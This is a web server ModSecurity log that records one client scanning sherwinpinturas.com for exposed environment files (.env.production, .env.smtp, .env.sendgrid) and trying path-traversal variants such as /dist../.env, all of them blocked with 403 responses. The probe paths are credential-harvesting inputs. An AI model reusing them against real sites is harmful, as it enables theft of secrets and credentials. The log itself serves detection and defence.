[Mon Oct 26 07:29:11.471558 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at85hzDRnKsAIAUOCsIeIAAAAB0"]
[Mon Oct 26 07:29:11.471706 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at85hzDRnKsAIAUOCsIeIAAAAB0"]
[Mon Oct 26 07:29:11.471982 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at85hzDRnKsAIAUOCsIeIAAAAB0"]
[Mon Oct 26 07:29:11.477416 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at85h03DiqOFJPXX6P421AAAABM"]
[Mon Oct 26 07:29:11.477547 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at85h03DiqOFJPXX6P421AAAABM"]
[Mon Oct 26 07:29:11.477791 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at85h03DiqOFJPXX6P421AAAABM"]
[Mon Oct 26 07:29:11.479091 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at85hz2qIoRfAL3Hx22jIgAAAAI"]
[Mon Oct 26 07:29:11.479245 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at85hz2qIoRfAL3Hx22jIgAAAAI"]
[Mon Oct 26 07:29:11.479484 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at85hz2qIoRfAL3Hx22jIgAAAAI"]
[Mon Oct 26 07:29:11.481782 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at85h5_dbg3ptBnwDgQ4KwAAAAM"]
[Mon Oct 26 07:29:11.481962 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at85h5_dbg3ptBnwDgQ4KwAAAAM"]
[Mon Oct 26 07:29:11.482182 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at85h5_dbg3ptBnwDgQ4KwAAAAM"]
[Mon Oct 26 07:29:11.486129 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at85h9llH_J00GQzpNGhVQAAABg"]
[Mon Oct 26 07:29:11.486338 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at85h9llH_J00GQzpNGhVQAAABg"]
[Mon Oct 26 07:29:11.486646 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at85h9llH_J00GQzpNGhVQAAABg"]
[Mon Oct 26 07:29:11.494139 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at85h05VL05DK7ky7IO-iwAAAA4"]
[Mon Oct 26 07:29:11.494276 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at85h05VL05DK7ky7IO-iwAAAA4"]
[Mon Oct 26 07:29:11.494573 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at85h05VL05DK7ky7IO-iwAAAA4"]
[Mon Oct 26 07:29:11.496156 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at85hxuQQn9l7nrKN7L5gAAAABo"]
[Mon Oct 26 07:29:11.496359 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at85hxuQQn9l7nrKN7L5gAAAABo"]
[Mon Oct 26 07:29:11.496662 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at85hxuQQn9l7nrKN7L5gAAAABo"]
[Mon Oct 26 07:29:11.629831 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at85h05VL05DK7ky7IO-jAAAAA4"]
[Mon Oct 26 07:29:11.630061 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at85h05VL05DK7ky7IO-jAAAAA4"]
[Mon Oct 26 07:29:11.630370 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at85h05VL05DK7ky7IO-jAAAAA4"]
[Mon Oct 26 07:29:11.905965 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at85hzDRnKsAIAUOCsIeIgAAAB0"]
[Mon Oct 26 07:29:11.906026 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at85hzDRnKsAIAUOCsIeIgAAAB0"]
[Mon Oct 26 07:29:11.906077 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at85hzDRnKsAIAUOCsIeIgAAAB0"]
[Mon Oct 26 07:29:11.906230 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at85hz2qIoRfAL3Hx22jJAAAAAI"]
[Mon Oct 26 07:29:11.906273 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at85hz2qIoRfAL3Hx22jJAAAAAI"]
[Mon Oct 26 07:29:11.906311 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at85hzDRnKsAIAUOCsIeIgAAAB0"]
[Mon Oct 26 07:29:11.906317 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at85hz2qIoRfAL3Hx22jJAAAAAI"]
[Mon Oct 26 07:29:11.906451 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at85hz2qIoRfAL3Hx22jJAAAAAI"]
[Mon Oct 26 07:29:11.906603 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at85hzDRnKsAIAUOCsIeIgAAAB0"]
[Mon Oct 26 07:29:11.906666 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at85hz2qIoRfAL3Hx22jJAAAAAI"]
[Mon Oct 26 07:29:11.907801 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at85h4AjAiW0BJRhWhrVngAAAAc"]
[Mon Oct 26 07:29:11.907863 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at85h4AjAiW0BJRhWhrVngAAAAc"]
[Mon Oct 26 07:29:11.907954 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at85h4AjAiW0BJRhWhrVngAAAAc"]
[Mon Oct 26 07:29:11.908014 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LQAAAAM"]
